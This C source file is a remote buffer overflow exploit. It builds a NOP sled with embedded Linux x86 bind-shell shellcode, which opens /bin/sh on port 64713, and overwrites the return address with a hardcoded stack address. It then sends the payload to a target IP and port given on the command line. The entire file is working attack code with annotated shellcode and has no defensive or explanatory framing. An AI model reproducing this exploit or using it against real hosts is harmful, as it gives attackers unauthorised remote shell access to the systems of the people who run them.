#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>

char shellcode[] = 

  /* socket(AF_INET, SOCK_STREAM, 0) */

  "\x6a\x66"			// push   $0x66
  "\x58"			// pop    %eax
  "\x6a\x01"			// push   $0x1
  "\x5b"			// pop    %ebx
  "\x99"			// cltd
  "\x52"			// push   %edx
  "\x53"			// push   %ebx
  "\x6a\x02"			// push   $0x2
  "\x89\xe1"			// mov    %esp,%ecx
  "\xcd\x80"			// int    $0x80

  /* bind(s, server, sizeof(server)) */

  "\x52"			// push   %edx
  "\x66\x68\xfc\xc9"		// pushw  $0xc9fc  // PORT = 64713
  "\x66\x6a\x02"		// pushw  $0x2
  "\x89\xe1"			// mov    $esp,%ecx
  "\x6a\x10"			// push   $0x10
  "\x51"			// push   %ecx
  "\x50"			// push   %eax
  "\x89\xe1"			// mov    %esp,%ecx
  "\x89\xc6"			// mov    %eax,%esi
  "\x43"			// inc    %ebx
  "\xb0\x66"			// mov    $0x66,%al
  "\xcd\x80"			// int    $0x80

  /* listen(s, anything) */

  "\xb0\x66"			// mov    $0x66,%al
  "\xd1\xe3"			// shl    %ebx
  "\xcd\x80"			// int    $0x80

  /* accept(s, 0, 0) */

  "\x52"			// push   %edx
  "\x56"			// push   %esi
  "\x89\xe1"			// mov    %esp,%ecx
  "\x43"			// inc    %ebx
  "\xb0\x66"			// mov    $0x66,%al
  "\xcd\x80"			// int    $0x80

  "\x93"			// xchg   %eax,%ebx

  /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */

  "\x6a\x02"			// push   $0x2
  "\x59"			// pop    %ecx

  "\xb0\x3f"			// mov    $0x3f,%al
  "\xcd\x80"			// int    $0x80
  "\x49"			// dec    %ecx
  "\x79\xf9"			// jns    dup_loop

  /* execve("/bin/sh", ["/bin/sh"], NULL) */

  "\x6a\x0b"			// push   $0xb
  "\x58"			// pop    %eax
  "\x52"			// push   %edx
  "\x68\x2f\x2f\x73\x68"	// push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"	// push   $0x6e69622f
  "\x89\xe3"			// mov    %esp, %ebx
  "\x52"			// push   %edx
  "\x53"			// push   %ebx
  "\x89\xe1"			// mov    %esp, %ecx
  "\xcd\x80";			// int    $0x80

//standard offset (probably must be modified)

#define RET 0xbffff620

int main(int argc, char *argv[]) {
	char buffer[1064];
	int s, i, size;
	struct sockaddr_in remote;
	struct hostent *host;

	if(argc != 3) {
		printf("Usage: %s target-ip port\n", argv[0]);
		return -1;
	}

	// filling buffer with NOPs
	memset(buffer, 0x90, 1064);

	//copying shellcode into buffer
	memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

	// the previous statement causes a unintential Nullbyte at buffer[1000]
	buffer[1000] = 0x90;

	// Copying the return address multiple times at the end of the buffer...
	for(i=1022; i < 1059; i+=4) {
		* ((int *) &buffer[i]) = RET;
	}

	buffer[1063] = 0x0;

	//getting hostname

	host=gethostbyname(argv[1]);

	if (host==NULL) {
		fprintf(stderr, "Unknown Host %s\n",argv[1]);
		return -1;
	}

	// creating socket...

	s = socket(AF_INET, SOCK_STREAM, 0);

	if (s < 0) {
		fprintf(stderr, "Error: Socket\n");
		return -1;
	}

	//state Protocolfamily , then converting the hostname or IP address, and getting port number

	remote.sin_family = AF_INET;
	remote.sin_addr = *((struct in_addr *)host->h_addr);
	remote.sin_port = htons(atoi(argv[2]));

	// connecting with destination host

	if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) {
		close(s);
		fprintf(stderr, "Error: connect\n");
		return -1;
	}

	//sending exploit string
	size = send(s, buffer, sizeof(buffer), 0);

	if (size==-1) {
		close(s);
		fprintf(stderr, "sending data failed\n");
		return -1;
	}

	// closing socket

	close(s);
}